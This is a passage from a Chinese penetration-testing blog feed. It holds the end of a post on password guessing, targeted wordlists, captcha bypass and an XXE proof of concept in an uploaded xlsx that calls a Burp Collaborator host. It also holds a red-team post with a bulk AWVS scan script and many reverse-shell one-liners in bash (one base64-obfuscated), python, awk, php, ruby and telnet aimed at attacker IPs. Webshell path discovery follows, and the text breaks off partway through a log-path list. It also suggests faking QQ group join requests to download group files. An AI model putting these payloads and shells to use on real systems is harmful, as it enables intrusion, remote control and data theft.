class="line">企查查和天眼查都可以做这个事情。</span><br></pre></td></tr></table></figure><p>我们来实践一下这个技巧:打开天眼查,输入公司名称—>进入公司主页—>找到知识产权部分。即可看到很多知识产权信息,点击详情即可看到发明人姓名</p><p><img src="1.2.1.png" alt="1.2.1"></p><h5 id="社交软件:"><a href="#社交软件:" class="headerlink" title="社交软件:"></a>社交软件:</h5><p>社交软件,大佬都有很多骚操作,简单分享一下我知道的。</p><p>比如我们可以搜索qq群:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">2020级清华大学通知群</span><br><span class="line">某公司xx项目开发群</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>编造一下加群信息,进入群的瞬间打开文件,下载所有群文件….也许有意想不到的收获</p><p>具体操作没实践过…大佬们可在得到测试授权的情况下自行尝试。</p><h2 id="2-密码生成"><a href="#2-密码生成" class="headerlink" title="2.密码生成"></a>2.密码生成</h2><p>个人感觉,密码爆破时针对性的生成目标字典,再配合top500,top10000字典,可以大大提高成功率。</p><p>密码生成主要使用一些小工具,这里简单推荐一下用起来感觉不错的工具:</p><h3 id="2-1-pydictor"><a href="#2-1-pydictor" class="headerlink" title="2.1 pydictor"></a>2.1 <a href="https://github.com/LandGrey/pydictor">pydictor</a></h3><p>项目地址:<a href="https://github.com/LandGrey/pydictor">https://github.com/LandGrey/pydictor</a></p><p>该工具有很多模块,其中社会工程学字典模块,可以根据用户信息针对性生成字典:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python pydictor.py --sedb</span><br></pre></td></tr></table></figure><p><img src="2.1.1.png" alt="2.1.1"></p><p>设置收集到的用户名,邮箱,生日等可以针对性的生成字典。</p><p>该工具还有字典合并去重,字典编码等多种功能,也可以单独 编写扩展插件。</p><h3 id="2-2-杂七杂八的小工具"><a href="#2-2-杂七杂八的小工具" class="headerlink" title="2.2 杂七杂八的小工具"></a>2.2 杂七杂八的小工具</h3><p>网上流通的各种小工具….可以试试,部分感觉还行。</p><p><img src="2.2.1.png" alt="2.2.1"></p><p>在线字典生成网站:</p><p><a href="https://www.bugku.com/mima/">https://www.bugku.com/mima/</a></p><p>大佬们有好用的社工库的话,根据收集的信息直接查,形成降维打击也是很好的选择,这个不多说。</p><h3 id="2-3-一些小尝试"><a href="#2-3-一些小尝试" class="headerlink" title="2.3 一些小尝试"></a>2.3 一些小尝试</h3><p>感觉密码爆破更多的还是看运气,更多的操作只是提高爆破成功的概率,反正多试试。</p><p>毕竟鲁迅先生曾经说过,人类所有的伟大都来源于试一试。</p><p>常用手段出不来,可以试试:</p><p>域名+5位数字,用户名+五位数字,admin+五位数字。</p><p>六位数字太费时间就不优先考虑了</p><h2 id="3-存在验证码"><a href="#3-存在验证码" class="headerlink" title="3.存在验证码"></a>3.存在验证码</h2><p>存在验证码,验证码过弱,或者存在绕过缺陷也是可以被爆破的</p><h3 id="3-1-验证码识别"><a href="#3-1-验证码识别" class="headerlink" title="3.1 验证码识别"></a>3.1 验证码识别</h3><h4 id="pkavhttpfuzzer"><a href="#pkavhttpfuzzer" class="headerlink" title="pkavhttpfuzzer"></a>pkavhttpfuzzer</h4><p>验证码识别可以使用pkavhttpfuzzer,该工具可以识别一些特别简单的验证码</p><p><img src="3.1.1.png" alt="3.1.1"></p><p>也可以使用burp插件:<a href="https://github.com/c0ny1/captcha-killer">https://github.com/c0ny1/captcha-killer</a></p><h4 id="调用第三方的打码平台接口"><a href="#调用第三方的打码平台接口" class="headerlink" title="调用第三方的打码平台接口"></a>调用第三方的打码平台接口</h4><p>比如这里调用:<a href="http://www.ttshitu.com/">http://www.ttshitu.com/</a> 的识别接口,识别效果还是不错的。不过太贵了,一般渗透测试,不至于不至于…</p><p><img src="3.1.2.png" alt="3.1.2"></p><p>也可以自己开发训练验证码识别接口,这个没有深究过,大佬们可自行尝试</p><h3 id="3-2-验证码绕过"><a href="#3-2-验证码绕过" class="headerlink" title="3.2 验证码绕过"></a>3.2 验证码绕过</h3><p>验证码有时候存在缺陷可能导致被绕过</p><p>先知有大佬文章详细的说了验证码的绕过姿势,这里就不照搬了</p><p>放一下连接:</p><p>[红日安全]Web安全Day14 - 验证码实战攻防 :<a href="https://xz.aliyun.com/t/6971">https://xz.aliyun.com/t/6971</a></p><p>逻辑让我崩溃之验证码姿势分享 : <a href="https://xz.aliyun.com/t/4533">https://xz.aliyun.com/t/4533</a></p><h1 id="弱口令登陆后的xxe"><a href="#弱口令登陆后的xxe" class="headerlink" title="弱口令登陆后的xxe"></a>弱口令登陆后的xxe</h1><p>回到一开始的项目,弱口令登陆后台之后,第一步当然是找上传点,找到一个上传excel文件上传的。抓包进行任意文件上传测试,发现上传不会返回路径,只解析文件的内容并返回到页面上,估计服务器都没有保存上传的文件,任意文件上传不存在。</p><p>但是发现服务器对文件存在解析,而且还是xlsx文件,xlsx文件主要由xml文件构成,解析过程中可能会存在xxe漏洞</p><p>制作poc文件进行尝试:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">更改test.xlsx文件后缀位test.zip</span><br><span class="line">unzip test.zip</span><br><span class="line"></span><br><span class="line">vim '[Content_Types].xml'</span><br><span class="line"></span><br><span class="line">添加paylaod:</span><br><span class="line"><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://mkazyh916th6c7sw7qmgbxv87zdp1e.burpcollaborator.net"> ]></span><br><span class="line"><foo>&xxe;</foo></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="4.1.png" alt="4.1"></p><p>重新压缩回去:</p><p><code>zip -r test.xlsx ./*</code></p><p>重新上传文件,发现接收到了服务器的请求,确定漏洞存在</p><p><img src="4.2.png" alt="4.2"></p><p><img src="4.4.png" alt="4.4"></p><p>这也算是第一次在实战中遇到文件上传的xxe (<em>^_^</em>),推荐一道ctf题目练习:<br><a href="https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]filejava">https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]filejava</a></p><p>该项目还存在其他的问题,但碍于测试时间比较赶,自己也很菜就没有getshell…</p>]]></content>
<categories>
<category> web安全 </category>
</categories>
<tags>
<tag> xxe实战 </tag>
<tag> 弱口令爆破 </tag>
</tags>
</entry>
<entry>
<title>如何为红队大佬端茶倒水上线cs</title>
<link href="/2020/10/05/%E5%A6%82%E4%BD%95%E4%B8%BA%E7%BA%A2%E9%98%9F%E5%A4%A7%E4%BD%AC%E7%AB%AF%E8%8C%B6%E5%80%92%E6%B0%B4%E4%B8%8A%E7%BA%BFcs/"/>
<url>/2020/10/05/%E5%A6%82%E4%BD%95%E4%B8%BA%E7%BA%A2%E9%98%9F%E5%A4%A7%E4%BD%AC%E7%AB%AF%E8%8C%B6%E5%80%92%E6%B0%B4%E4%B8%8A%E7%BA%BFcs/</url>
<content type="html"><![CDATA[<p>安服仔,最近做了好几个项目都是红队服务,我一ctf签到选手,src低危挖掘者,日常项目低危三连玩家哪懂这啊。好在大佬们实在太猛,给大佬们端茶倒水好好学习了一波。</p><h2 id="1-前期打点"><a href="#1-前期打点" class="headerlink" title="1.前期打点"></a>1.前期打点</h2><p>前期打点个人感觉就是批量批量再批量,红队服务不同于日常项目一个登陆框日一天,可以针对目标范围内所有资产进行渗透,这个时候大范围收集相关子域名,c段就很有必要。资产直接找客户要,客户很多都会给。也可以自己收集,google找到官网,<a href="https://github.com/shmilylty/OneForAll">onefoeall</a>收集子域名,<a href="https://github.com/TophantTechnology/ARL">ARL</a>收集相关资产…方法很多。</p><p>收集到了足够的资产之后,就是快乐的批量打点时间,作为一个没有0day,没有批量脚本的菜鸡,当然要充分发挥各大工具的作用。</p><h3 id="1-1-awvs"><a href="#1-1-awvs" class="headerlink" title="1.1 awvs"></a>1.1 awvs</h3><p>awvs这个不用多说,收集到的子域名直接往里面导入就完事,子域名太多不想手动?批量脚本来一波,该脚本导入url的同时可开启awvs的代理联动xray,在相同目录下新建url.txt文件,将需要扫描的url放到里面即可,一次性导入太多子域名可能会卡,可以根据自身主机性能适当调整导入50个还是100个…</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> requests.packages</span><br><span class="line"><span class="keyword">import</span> urllib3.packages</span><br><span class="line"><span class="keyword">from</span> urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"><span class="comment"># from requests.packages.urllib3.exceptions import InsecureRequestWarning</span></span><br><span class="line"><span class="comment"># requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span></span><br><span class="line">urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"></span><br><span class="line">apikey = <span class="string">'1986ad8c0a5b3df4d7028d5f3c06e936c824cdd6ca6d14ec78eed27dce5423fa8'</span></span><br><span class="line"><span class="comment"># 去 AWVS 配置文件里面 有个 API KEY 复制填进去就行</span></span><br><span class="line">apikey = <span class="built_in">str</span>(apikey)</span><br><span class="line">headers = {<span class="string">'Content-Type'</span>: <span class="string">'application/json'</span>,<span class="string">"X-Auth"</span>: apikey}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">addTask</span>(<span class="params">url,target</span>):</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> url = <span class="string">''</span>.join((url, <span class="string">'/api/v1/targets/add'</span>))</span><br><span class="line"> data = {<span class="string">"targets"</span>:[{<span class="string">"address"</span>: target,<span class="string">"description"</span>:<span class="string">""</span>}],<span class="string">"groups"</span>:[]}</span><br><span class="line"> r = requests.post(url, headers=headers, data=json.dumps(data), timeout=<span class="number">30</span>, verify=<span class="literal">False</span>)</span><br><span class="line"> result = json.loads(r.content.decode())</span><br><span class="line"> <span class="keyword">return</span> result[<span class="string">'targets'</span>][<span class="number">0</span>][<span class="string">'target_id'</span>]</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="keyword">return</span> e</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">scan</span>(<span class="params">url,target,Crawl,user_agent,profile_id,proxy_address,proxy_port</span>):</span></span><br><span class="line"> scanUrl = <span class="string">''</span>.join((url, <span class="string">'/api/v1/scans'</span>))</span><br><span class="line"> target_id = addTask(url,target)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> target_id:</span><br><span class="line"> data = {<span class="string">"target_id"</span>: target_id, <span class="string">"profile_id"</span>: profile_id, <span class="string">"incremental"</span>: <span class="literal">False</span>, <span class="string">"schedule"</span>: {<span class="string">"disable"</span>: <span class="literal">False</span>, <span class="string">"start_date"</span>: <span class="literal">None</span>, <span class="string">"time_sensitive"</span>: <span class="literal">False</span>}}</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> configuration(url,target_id,proxy_address,proxy_port,Crawl,user_agent)</span><br><span class="line"> response = requests.post(scanUrl, data=json.dumps(data), headers=headers, timeout=<span class="number">30</span>, verify=<span class="literal">False</span>)</span><br><span class="line"> result = json.loads(response.content)</span><br><span class="line"> <span class="keyword">return</span> result[<span class="string">'target_id'</span>]</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(e)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">configuration</span>(<span class="params">url,target_id,proxy_address,proxy_port,Crawl,user_agent</span>):</span></span><br><span class="line"> configuration_url = <span class="string">''</span>.join((url,<span class="string">'/api/v1/targets/{0}/configuration'</span>.<span class="built_in">format</span>(target_id)))</span><br><span class="line"> </span><br><span class="line"> <span class="comment">#取消注释可使用awvs的代理功能,代理地址为:127.0.0.1:7777可,本地启动xray监听即可联动xray,非常的人性化</span></span><br><span class="line"> <span class="comment">#data = {"scan_speed":"fast","login":{"kind":"none"},"ssh_credentials":{"kind":"none"},"sensor": False,"user_agent": user_agent,"case_sensitive":"auto","limit_crawler_scope": True,"excluded_paths":[],"authentication":{"enabled": False},"proxy":{"enabled": True,"protocol":"http","address":proxy_address,"port":proxy_port},"technologies":[],"custom_headers":[],"custom_cookies":[],"debug":False,"client_certificate_password":"","issue_tracker_id":"","excluded_hours_id":""}</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">#不使用代理</span></span><br><span class="line"> data = {<span class="string">"scan_speed"</span>:<span class="string">"fast"</span>,<span class="string">"login"</span>:{<span class="string">"kind"</span>:<span class="string">"none"</span>},<span class="string">"ssh_credentials"</span>:{<span class="string">"kind"</span>:<span class="string">"none"</span>},<span class="string">"sensor"</span>: <span class="literal">False</span>,<span class="string">"user_agent"</span>: user_agent,<span class="string">"case_sensitive"</span>:<span class="string">"auto"</span>,<span class="string">"limit_crawler_scope"</span>: <span class="literal">True</span>,<span class="string">"excluded_paths"</span>:[],<span class="string">"authentication"</span>:{<span class="string">"enabled"</span>: <span class="literal">False</span>},<span class="string">"proxy"</span>:{<span class="string">"enabled"</span>: Crawl,<span class="string">"protocol"</span>:<span class="string">"http"</span>,<span class="string">"address"</span>:proxy_address,<span class="string">"port"</span>:proxy_port},<span class="string">"technologies"</span>:[],<span class="string">"custom_headers"</span>:[],<span class="string">"custom_cookies"</span>:[],<span class="string">"debug"</span>:<span class="literal">False</span>,<span class="string">"client_certificate_password"</span>:<span class="string">""</span>,<span class="string">"issue_tracker_id"</span>:<span class="string">""</span>,<span class="string">"excluded_hours_id"</span>:<span class="string">""</span>}</span><br><span class="line"> r = requests.patch(url=configuration_url,data=json.dumps(data), headers=headers, timeout=<span class="number">30</span>, verify=<span class="literal">False</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> Crawl = <span class="literal">False</span></span><br><span class="line"> proxy_address = <span class="string">'127.0.0.1'</span></span><br><span class="line"> proxy_port = <span class="string">'7777'</span></span><br><span class="line"> awvs_url = <span class="string">'https://127.0.0.1:13443/'</span> <span class="comment">#awvs url</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'url.txt'</span>,<span class="string">'r'</span>,encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> targets = f.readlines()</span><br><span class="line"> profile_id = <span class="string">"11111111-1111-1111-1111-111111111111"</span></span><br><span class="line"> user_agent = <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21"</span> <span class="comment">#扫描默认UA头</span></span><br><span class="line"> <span class="keyword">if</span> Crawl:</span><br><span class="line"> profile_id = <span class="string">"11111111-1111-1111-1111-111111111117"</span></span><br><span class="line"> <span class="keyword">for</span> target <span class="keyword">in</span> targets:</span><br><span class="line"> target = target.strip()</span><br><span class="line"> <span class="keyword">if</span> scan(awvs_url,target,Crawl,user_agent,profile_id,proxy_address,<span class="built_in">int</span>(proxy_port)):</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"{0} 添加成功"</span>.<span class="built_in">format</span>(target))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><h3 id="1-2-goby"><a href="#1-2-goby" class="headerlink" title="1.2 goby"></a>1.2 goby</h3><p>goby也是一个批量打点的好东西,收集到的子域名,C段,往里面一导等着出结果就完事。但是goby我习惯开全端口,这就导致结果出的比较慢,为了不显得那么划水,可以实时查看goby识别出的web网站,结合xray插件提高效率</p><p><img src="1.2.1.png" alt="1.2.1"></p><p>像这种准确识别出title头的网站,不要犹豫点击xray按钮干他。</p><p><img src="1.2.2.png" alt="1.2.2"></p><h3 id="1-3-大佬分享的护网自动化小脚本"><a href="#1-3-大佬分享的护网自动化小脚本" class="headerlink" title="1.3 大佬分享的护网自动化小脚本"></a>1.3 大佬分享的护网自动化小脚本</h3><p>护网自动化脚本:<a href="https://mp.weixin.qq.com/s/uHNx28XFZ5M6KwykMC4Jsg">https://mp.weixin.qq.com/s/uHNx28XFZ5M6KwykMC4Jsg</a></p><p>github地址:<a href="https://github.com/0x9f99/Recon">https://github.com/0x9f99/Recon</a></p><p>该项目牛逼的地方在于,你只要给他一个域名列如:./recon.sh domain.com 他就会自动收集子域名,解析对应ip保留c段进行masscan+nmap的全端口扫描,</p><p>并对扫描的结果进行插件中集成的poc探测。假如头一天接到红队项目,知道明天要去打红队,那晚上先在服务器上<code>./recon.sh domain.com > log.txt 2>&1 &</code> 第二天起床上班看结果,岂不美滋滋。</p><p>还有很多打点的方法,菜鸡只分享自己会的,欢迎大佬们补充教教我…</p><h3 id="1-4-动静比较小的打法"><a href="#1-4-动静比较小的打法" class="headerlink" title="1.4 动静比较小的打法"></a>1.4 动静比较小的打法</h3><p>一些红队测试可能会有溯源,反制等操作。这时候awvs/goby这些动静大的工具一开,可能很快就报警被拦截了。这时候就要换点思路了。</p><p>arl就是一款不错的工具,利用自己编写的探测指纹,优先识别出目标资产中例如:struts2/weblogic/shiro等组件开发的系统。针对性去重点测试。</p><p>更多可以参考我的文章:<a href="https://h11ba1.com/posts/arl_poc%E7%BC%96%E5%86%99.html">https://h11ba1.com/posts/arl_poc%E7%BC%96%E5%86%99.html</a></p><h2 id="2-打点之后的持续深入"><a href="#2-打点之后的持续深入" class="headerlink" title="2. 打点之后的持续深入"></a>2. 打点之后的持续深入</h2><p>日常只会发现漏洞,找到一个s2,shiro之类的命令执行,第一时间竟感到一丝茫然Σ(っ °Д °;)っ</p><p>看了大佬们的操作后,及时学习了一波</p><p>找到命令执行之后先判断,是linux还是windows服务器,个人感觉两种服务器略有不同的渗透方法,linux服务器更多的考虑上线代理脚本进行内网渗透,windows服务器肯定要上线cs或者打一个msf的meterpreter。</p><h3 id="linux主机"><a href="#linux主机" class="headerlink" title="linux主机"></a>linux主机</h3><p>当然第一步肯定先建立一个稳定的入口点,可以考虑反弹shell或者写一个webshell,方便接下来的渗透,</p><h4 id="2-1-反弹shell"><a href="#2-1-反弹shell" class="headerlink" title="2.1 反弹shell"></a>2.1 反弹shell</h4><p>反弹shell一般使用bash</p><p>bash:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -i >& /dev/tcp/192.168.146.129/2333 0>&1</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">base64编码为'bash -i >& /dev/tcp/192.168.146.129/2333 0>&1'编码</span><br><span class="line"></span><br><span class="line">bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xMjkvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}</span><br></pre></td></tr></table></figure><p>python:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span><br></pre></td></tr></table></figure><p>awk:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'</span><br></pre></td></tr></table></figure><p>php:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'</span><br></pre></td></tr></table></figure><p>ruby</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</span><br></pre></td></tr></table></figure><p>telnet:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mknod test p && telnet ip port 0<test | /bin/bash 1>test</span><br><span class="line">telnet ip port | /bin/bash | telnet ip port</span><br></pre></td></tr></table></figure><h4 id="2-2-写入webshell"><a href="#2-2-写入webshell" class="headerlink" title="2.2 写入webshell"></a>2.2 写入webshell</h4><p>命令执行到写入webshell还是有很多坑的,接下来简单记录学习到的方法</p><h5 id="web路径发现"><a href="#web路径发现" class="headerlink" title="web路径发现"></a>web路径发现</h5><p>find命令直接查找web文件,这里查找js文件,可以在网站首页查看js文件名,针对性查找,也可以使用*.js查找所有。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">find / -name *.js</span><br><span class="line"></span><br><span class="line">查找的文件太大,可能会卡死可以只返回固定行数</span><br><span class="line">find / -name *.html > result;head -n 10 result;rm result</span><br></pre></td></tr></table></figure><p>读取web日志,查看web路径</p><p>查看log位置:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">find / -name log</span><br><span class="line">find / -name nginx.conf</span><br><span class="line">find / -name httpd.conf</span><br><span class="line">查找含有web关键字的文件名</span><br><span class="line">find / -name '*web*'</span><br></pre></td></tr></table></figure><p>常见日志位置:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">/var/<span class="built_in">log</span>/access_log</span><br><span class="line">/var/<span class="built_in">log</span>/errors_log</span><br><span class="line"></span><br><span class="line">/var/<span class="built_in">log</span>/access.log</span><br><span class="line">/var/<span class="built_in">log</span>/errors.log</span><br><span class="line"></span><br><span class="line">/var/<span class="built_in">log</span>/apache/access_log</span><br><span class="line">/var/<span class="built_in">log</span>/apache/error_log</span><br><span class="line"></span><br><span class="line">/var/<span class="built_in">log</span>/apache/access.log</span><br><span class="line">/var/<span class="built_in">log</span>/apache/error.log</span><br><span class="line"></span><br><span class="line">/var/<span class="built_in">log</span>/apache2/access_log</span><br><span class="line">/var/<span class="built_in">log</span>/apache2/error_log</span><br><span class="line"></span><br><span class="line">/var/<span class="built_in">log</span>/apache2/access.log</span><br><span class="line">/var/<span class="built_in">log</span>/apache2/error.log</span><br><span class="line"></span><br><span class="line">/var/<span class="built_in">log</span>/httpd/access_log</span><br><span class="line">/var/<span class="built_in">log</span>/httpd/error_log</span><br><span class="line"></span><br><span class="line">/var/<span class="built_in">log</span>/httpd/access.log</span><br><span class="line">/var/<span class="built_in">log</span>/httpd/error.log</span><br><span class="line"></span><br><span class="line">/var/www/logs/error_log</span><br><span class="line">/var/www/logs/access_log</span><br><span class="line"></span><br><span class="line">/var/www/logs/error.log</span><br><span class="line">/var/www/logs/access.log</span><br><span class="line"></span><br><span class="line">/apache/logs/error_log</span><br><span class="line">/apache/logs/access_log</span><br><span class="line"></span><br><span class="line">/apache/logs/error.log</span><br><span class="line">/apache/logs/access.log</span><br><span class="line"></span><br><span class="line">/usr/<span class="built_in">local</span>/apache/logs/access_log</span><br><span class="line">/usr/<span class="built_in">local</span>/apache/logs/error_log</span><br><span class="line"></span><br><span class="line">/usr/<span class="built_in">local</span>/apache/logs/access.log</span><br><span class="line">/usr/<span class="built_in">local</span>/apache/logs/error.log</span><br><span class="line"></span><br><span class="line">/usr/<span class="built_in">local</span>/apache2/logs/access_log</span><br><span class="line">/usr/<span class="built_in">local</span>/apache2/logs/error_log</span><br><span class="line"></span><br><span class="line">/usr/<span class="built_in">local</span>/apache2/logs/access.log</span><br><span class="line">/usr/<span class="built_in">local</span>/apache2/logs/error.log</span><br><span class="line"></span><br><span class="line">/etc/httpd/logs/access_log</span><br><span class="line">/etc/httpd/logs/error_log</span><br><span class="line"></span><br><span class="line">C:\PhpStudy\PHPTutorial\Apache\logs\access.log</span><br><span class="line">C:\PhpStudy\PHPTutorial\Apache\logs\error.log</span><br></pre></td></tr></table></figure><p>也可以读取配置文件来查找对应的日志:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">/etc/httpd/conf/httpd.conf</span><br><span class="line">/usr/<span class="built_in">local</span>/apache/conf/httpd.conf</span><br><span class="line">/usr/<span class="built_in">local</span>/apache2/conf/httpd.conf</span><br><span class="line">/etc/apache2/apache2.conf</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># nginx -t 测试配置文件是否正确,同时也告诉了配置文件的路径</span></span><br><span class="line">/usr/<span class="built_in">local</span>/etc/nginx/nginx.conf</span><br><span class="line">/etc/nginx/nginx.conf</span><br></pre></td></tr></table></figure><p>Window 2003 + IIS6.0 日志文件默认放在</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\WINDOWS\system32\Logfiles</span><br><span class="line">配置文件默认在</span><br><span class="line">C:\Windows\system32\inetsrv\metabase.xml</span><br></pre></td></tr></table></figure><p>IIS 7 日志文件默认在</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\inetpub\logs\LogFiles</span><br></pre></td></tr></table></figure><p>配置文件默认目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\System32\inetsrv\config\applicationHost.config</span><br><span class="line">C:\apache\logs\access.log</span><br><span class="line">C:\Program Files\Apache Group\Apache\logs\access.log</span><br><span class="line">C:\program files\wamp\apache2\logs</span><br><span class="line">C:\wamp\logs</span><br><span class="line">C:\xampp\apache\logs\error.log</span><br><span class="line">C:\apache\logs\error.log</span><br><span class="line">C:\Program 